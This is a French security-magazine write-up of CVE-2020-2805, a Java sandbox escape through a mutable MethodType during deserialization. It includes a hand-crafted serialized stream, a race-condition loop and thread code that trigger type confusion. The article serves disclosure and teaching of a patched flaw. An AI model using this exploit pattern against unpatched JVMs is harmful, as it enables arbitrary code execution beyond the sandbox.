CVE-2020-2805 : UTILISER CENT FOIS UNE VULNÉRABITÉ POUR CASSER CENT JVM

Alexandre BARTEL - *Professeur Ass. à DIKU*, **August Clement LEVE** - *Java Guru*
& **Mads Østerø NØRREGAARD** - *Security manager*

Après un article sur une confusion de type [1] et sur la sérialisation [2], il faut bien que l'on vous présente une combinaison des deux avec en bonus, un TOCTOU et des objets pas vraiment immuables dedans. Eh oui ma p'tite dame, tout cela est bien dans le CVE-2020-2805 la dernière vulnérabilité Java qui permet de s'échapper de la sandbox. Du code Java c'est comme Freddie, ça veut toujours se libérer.

mots-clés : *CVE / CONFUSION DE TYPE / TOCTOU / SANDBOX / JVM / SÉRIALISATION / IMMUTABILITÉ*

1. INTRODUCTION

Le CVE-2020-2805 a été reporté le 22 novembre 2019 par Emmerich qui a publié un article de blog **[3]**, décrivant l'exploit en environ quatre phrases :

« [...] Il est (mal)heureusement possible d'obtenir une référence à cet objet temporaire avec les références ObjectStreamInput. Ces références sont nécessaires pour désérialiser les graphiques d'objets cycliques et permettre de retourner les objets inachevés. Cela donne la possibilité d'avoir un MethodType mutant. Ce MethodType peut alors être utilisé pour faire passer une MethodHandle de n'importe quel type à un (void)void puis à n'importe quel autre MethodType en moulant d'abord la MethodHandle avec .asType() à l'objet temporaire et après que le MethodType temporaire ait muté en MethodType unique, permettant une confusion de type [...] ».

Il n'est pas évident de comprendre quel est le problème et encore moins d'implémenter un exploit facilement avec cette courte description. Son billet de blog souligne cependant comment le fait de rompre l'immuabilité d'un objet `MethodType` joue un grand rôle dans la création de l'exploit. Une correction officielle est publiée par Oracle le 14 avril 2020 dans le cadre de « Critical Patch - April 2020 » Java SE 14.0.1 **[4]**.

2. METHODTYPE

Pour rappel, Java permet d'invoquer des méthodes via son moteur de *réflexion*. La manière « classique » consiste à appeler `Method.invoke()`. Cependant, cette méthode étant très lente, Oracle a, depuis la version 1.8, introduit un autre moteur de réflexion via des objets `MethodHandle`. Un tel objet représente une méthode avec un nom et un type. Le type est un objet `MethodType` et représente le type de retour ainsi que les paramètres de la méthode. `MethodType` est immuable (en théorie, hahaha). Voici un bout de code pour invoquer la méthode statique `String breakFree(String)` de la classe `Freddie` avec un `MethodHandle` :

```
01 // MethodType représente le type de retour et
des paramètres
02 mt = MethodType.methodType(String.class, String.
class);
03 // Lookup permet de demander à la JVM de
chercher une méthode
04 // avec un nom et un MethodType. La JVM retourne
un MethodHandle
05 // une sorte de pointeur vers la méthode
06 MethodHandles.Lookup lookup = MethodHandles.
lookup();
07 mh = lookup.findStatic(Freddie.class,
"breakFree", mt);
08 // invoke() va appeler la méthode
09 String r = mh.invoke("toto")
```

Les objets **MethodType** peuvent être sérialisés/désérialisés. Et c'est là que commencent les problèmes.

3. CODE PROBLÉMATIQUE

Petit rappel : lors de la désérialisation, la JVM va recréer les instances sérialisées en appelant la méthode **readObject** puis **readResolve** de la classe correspondante. Le code pour désérialiser un **MethodType** est ci-dessous :

```
01 Class<?>[] NO_PTYPES = {}; // tableau de classes
vide
02
03 private void readObject(java.
io.ObjectInputStream s) throws java.io.IOException,
04    ClassNotFoundException {
05    // Assign temporary defaults in case this
object escapes
06    MethodType_init(void.class, NO_PTYPES); <---
-- AAA
07    s.defaultReadObject();
08    // requires serialPersistentFields to be an
empty array
09    Class<?> returnType = (Class<?>)
s.readObject();
10    Class<?>[] parameterArray = (Class<?>[])
s.readObject();
11    parameterArray = parameterArray.clone();
// make sure it is unshared
12    // Assign deserialized values
13    MethodType_init(returnType, parameterArray);
<----- BBB
14 }
15 // Initialization of state for deserialization
only
16 private void MethodType_init(Class<?> rtype,
Class<?>[] ptypes) {
17    // In order to communicate these values to
readResolve, we must
18    // store them into the implementation-
specific final fields.
19    checkRtype(rtype);
20    checkPtypes(ptypes);
21    UNSAFE.putReference(this, OffsetHolder.
rtypeOffset, rtype);
22    UNSAFE.putReference(this, OffsetHolder.
ptypesOffset, ptypes);
23 }
24 /**
25 * Resolves and initializes a {@code MethodType}
object
26 * after serialization.
27 * @return the fully initialized {@code
MethodType} object
28 */
29 @java.io.Serial
30 private Object readResolve() {
31    // Do not use a trusted path for
deserialization:
32    // return makeImpl(rtype, ptypes, true);
33    // Verify all operands, and make sure ptypes
is unshared:
34    try {
35      return methodType(rtype, ptypes);
36    } finally {
37    // Re-assign defaults in case this object
escapes
38    `MethodType_init(void.class, NO_PTYPES);` <--
--- CCC
39    }
40 }
```

En regardant ce code, on est alerté par l'utilisation de **unsafe**. Pour ceux qui ne connaissent pas, **unsafe**, ou **sun.misc.Unsafe** est une classe, présente dans toutes les versions de la JVM d'Oracle, qui permet de lire et d'écrire à n'importe quelle adresse du processus Java. Comment ? Quoi ? Ah, les gens du formel m'informent dans l'oreillette que ce n'est pas possible dans leur modèle de Java pour vérifier les futures machines pour le vote à distance… Blague à part, **unsafe** c'est pas bien, mais tout le monde l'utilise, car c'est pratique et rapide. Ici, **unsafe** est utilisé pour modifier les champs **rtype** et **ptypes** de **MethodType** à désérialiser, car cette classe est normalement immuable, mais bon c'est un détail, hein. Toujours rien compris sur le pourquoi du comment ? Alerté par le code qui va initialiser les champs **rtype** et **ptypes** de **MethodType** à **void.class**, **NO_PTYPES** (AAA, ligne 6), puis avec les types désérialisés (BBB, ligne 13) puis avec à nouveau

`void.class`, `NO_PTYPES` (CCC, ligne 38) ? Mais oui, c'est parce que le `MethodType` désérialisé ce n'est pas l'objet qui sera utilisé après la désérialisation. En effet, une nouvelle instance de `MethodType` utilisant les champs de l'objet `MethodType` temporaire va être retournée dans la fonction `readResolve` via l'appel à `methodType()` (ligne 35).

L'inquiétude, justifiée, des développeurs du code de la classe `MethodType` est qu'un attaquant peut obtenir une référence vers l'objet `MethodType` temporaire, TMP, via un mécanisme que nous allons voir dans la prochaine section. Du coup, c'est pour cela que l'objet temporaire est initialisé à `void.class` et `NO_PTYPES` : pour le rendre inutile à un attaquant. Or, c'est justement cette bonne intention qui est à l'origine du problème qui va faire s'écrouler la JVM. Il s'avère que si un attaquant a une référence vers TMP, le champ `rtype` passera de `void.class` à `TYPE_B` (présent dans le flux d'octets à désérialiser et donc contrôlé par l'attaquant), puis à nouveau à `void.class`. TMP, de type immuable `MethodType`, est donc maintenant muable…

Et ce sacré voyou d'attaquant pourra en profiter pour, dans un nouveau fil d'exécution, initialiser un `MethodHandle` avec le `MethodType` TMP pour muter `rtype` en `TYPE_B`. Changer le `MethodType` de `MethodHandle` est effectivement possible via la méthode `MethodHandle.asType(MethodType)` qui va adapter le `MethodType` associé à un `MethodHandle`. Normalement, l'adaptation ne peut se faire qu'avec un type compatible : si le type de retour, `rtype` du `MethodType` du `MethodHandle` est `java.lang.String`, appeler `asType()` peut faire changer le type de retour vers `java.lang.Object` par exemple, puisque `String` hérité de `Object`, mais pas vers un type non compatible. À noter que le type de retour peut toujours changer de n'importe quel type vers `void.class` (la méthode ne retourne rien).

En réalité, c'est un peu plus compliqué que ça, car l'attaquant ne peut pas passer directement d'un type quelconque vers `TYPE_B`, le type de son choix. Il doit d'abord initialiser un `MethodHandle` MH1 avec une méthode `m` et un `MethodType` dont le type de retour est `TYPE_A`. MH1 pointe donc vers la méthode `TYPE_A m()`. Ensuite, il doit appeler `MethodHandle.asType()` avec TMP, la référence vers un `MethodType` en cours de désérialisation, en paramètre pour créer MH2. La conversion `TYPE_A` vers `TYPE_B` (de TMP) va fonctionner lorsque le type de retour de TMP est initialisé à `void.class`. Le problème est que, lors de sa désérialisation, TMP est mutable et que son type de retour sera, un bref instant, `TYPE_B`, avant de redevenir `void.class`. Vous l'aurez compris, l'attaquant va profiter de ce bref instant pour effectuer une attaque de confusion de type. En effet, MH2 va d'abord pointer vers la méthode `void m()` puis vers la méthode `TYPE_B m()`. Lorsque MH2 pointe vers `TYPE_B m()` – un très bref instant nous le rappelons encore une fois – l'attaquant pourra appeler `TYPE_A m()` en faisant croire à la JVM que le type de retour est `TYPE_B` (type qui peut ne rien avoir en commun avec `TYPE_A`). Si l'appel de `m()` est un succès, il y a une confusion de type et l'attaquant peut maintenant contourner la sandox de la JVM pour exécuter du code arbitraire avec toutes les permissions de la JVM **[5]**.

4. ACQUÉRIR UNE RÉFÉRENCE VERS TMP

Comme expliqué plus haut, l'attaque ne fonctionne que si l'attaquant peut récupérer une référence vers TMP, l'instance de `MethodType` en cours de désérialisation. Il se trouve qu'en Java c'est chose facile, car il est possible – tenez-vous bien – de mettre une classe arbitraire en tant que classe super d'une autre classe. Dans notre cas, le flux sérialisé contient une instance `MethodType` MH. L'attaquant va insérer dans ce flux d'octet, une instance « fantôme » `Houhou` qui va faire semblant d'être la super classe de `MethodType`. Dans le protocole de désérialisation, la super classe est désérialisée avant la classe. Du coup dans `Houhou`, l'attaquant peut définir un champ de type `MaRef` qui est une classe sérialisable définie par l'attaquant. `MaRef` contient un champ CH de type `MethodType` et une méthode `readObject()`. Le champ CH pointe vers MH qui est en train d'être désérialisé. Du coup dans `MaRef.readObject()` l'attaquant peut récupérer une référence vers MH (TMP dans le paragraphe ci-dessus) et effectuer l'attaque pour déclencher la confusion de type. La construction du flux d'octets à désérialiser pour mener à bien cette attaque ne peut que se construire « à la main ». Le code, généré à la Koivu **[6]**, ressemble à ceci :

```
01 static final Object[] F = new Object[] {
02     STREAM_MAGIC, STREAM_VERSION, // stream headers
0xaced 0x0005
03
04     TC_OBJECT, // 0x73
05     TC_CLASSDESC, // 0x72
06     MethodType.class.getName(), // MethodType
mutable...
07     (long) 292L, // serialVersionUID
08     (byte) 3, // description de la classes
09     (short) 0, // nombre de champs
10     TC_ENDBLOCKDATA, // 0x78
11     // super
12     TC_CLASSDESC,
13       "Houhou", // super classe Houhou
14       (long) 1337L, // serialVersionUID
15       (byte) 2,// description de la classe
16       (short) 1, // nombre de champs
17       (byte) 'L', "notre_pointeur", TC_STRING,
"Ljava/lang/Object;",
18     TC_ENDBLOCKDATA,
19     // super
20     TC_NULL,
21
22     // description de la valeur du champ Houhou.
notre_pointeur, le champ fantôme lu data
23     TC_OBJECT,
24     TC_CLASSDESC,
25       MaRef.class.getName(), // name
26       (long) 1, // serialVersionUID
27       (byte) 2, // description de la classe
28       (short) 1, // nombre de champs
29       (byte) 'L', "mt", TC_STRING, "Ljava/lang/
invoke/MethodType;",
30     TC_ENDBLOCKDATA,
31     // super
32     TC_NULL,
33
34     // start value data for Ref
35     TC_REFERENCE, baseWireHandle + 3,
36
37     // description de rtype du MethodType: TYPE_B
38     TC_CLASS, // 0x76
39     TC_CLASSDESC, // 0x72
40     TYPE_B.class.getName(),
41     (long) 0, // serialVersionUID 0x00000000
42     (byte) 0, //
43     (short) 0, //
44     TC_ENDBLOCKDATA, // 0x78
45     // super
46     TC_NULL,// 0x70
47
48     // description de ptypes de MethodType: Class[]
49     TC_ARRAY, // 0x75
50     TC_CLASSDESC, // 0x72
51     Class[].class.getName(),
52     (long) 0x123,
53     (byte) 02,
54     (short) 0000,
```

```
55    TC_ENDBLOCKDATA, // 0x78
56    // super
57    TC_NULL, // 0x70
58    (short) 0,
59    (short) 0,
60    TC_ENDBLOCKDATA
61 };
```

5. LE MARTEAU TOMBE SUR LA JVM

L'attaque dépend d'une situation de concurrence critique et peut nécessiter, pour la stabiliser, de l'exécuter plusieurs fois :

```
01 public static void main(String args[]) {
02    while (!confusion_de_type) {
03      ois = ObjectInputStream( ... F ...);
04      ois.readObject(); // désérialisation du
flux d'octet
05    }
06 }
```

À chaque exécution, `MaRef.readObject()` est exécutée. Son code est le suivant :

```
01 public void readObject() {
02    MethodHandle mh1 = ... // pointeur vers la
méthode "TYPE_A m()"
03    new Thread() {
04    public void run() {
05    try {
06      MethodHandle mh2 = mh1.asType(MaRef.notre_
pointeur);
07      mh2.invoke();
08      // invoke vers "TYPE_A m()" OK
09      // la JVM pense que le type de retour est
TYPE_B
10      confusion_de_type = true;
11      break;
12    } catch ... {
13      // l'appel d'invoke n'a pas fonctionné
14    }
15 }
```

CONCLUSION

Et voilà ! Nous avons présenté une nouvelle vulnérabilité qui fait mordre la poussière à la JVM. Cette vulnérabilité est une parfaite illustration de deux problèmes majeurs de la JVM qui sont à l'origine de nombreuses autres vulnérabilités dans le monde Java : Unsafe et le moteur de sérialisation. Le premier, car il permet de casser les concepts objets de Java et le second, car c'est un héritage d'un vieux bout de code complexe et donc difficile à maintenir. La vulnérabilité présentée ici affecte environ 100 versions de la JVM : 7.0 à 7_251 8.0 à 8_241 11 à 11.0.6 13 à 13.0.2 et 14.0.0. ■

RÉFÉRENCES

[1] Alexandre Bartel, Jacques Klein et Yves Le Traon, « Fini le bac à sable. Avec le CVE-2017-3272, devenez un grand ! », *MISC n°97*, **https://connect.ed-diamond.com/MISC/MISC-097/Fini-le-bac-a-sable.-Avec-le-CVE-2017-3272-devenez-un-grand**

[2] Alexandre Bartel, Jacques Klein et Yves Le Traon, « Désérialisation Java : une brève introduction », *MISC n°100*, **https://connect.ed-diamond.com/MISC/MISC-100/Deserialisation-Java-une-breve-introduction**

[3] Nils Emmerich, Java Buffer Overflow with ByteBuffer (CVE-2020-2803) and Mutable MethodType (CVE-2020-2805) Sandbox Escapes, **https://insinuator.net/2020/09/java-buffer-overflow-with-bytebuffer-cve-2020-2803-and-mutable-methodtype-cve-2020-2805-sandbox-escapes/**

[4] Oracle, Oracle Critical Path Update Advisory - April, 2020, **https://www.oracle.com/security-alerts/cpuapr2020.html**

[5] Ieu Eauvidoum et disk noise, Twenty years of Escaping the Java Sandbox, Phrack, 2018, **http://www.phrack.org/papers/escaping_the_java_sandbox.html**

[6] Sami Koivu, Breaking Defensive Serialization, 2010, **https://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html**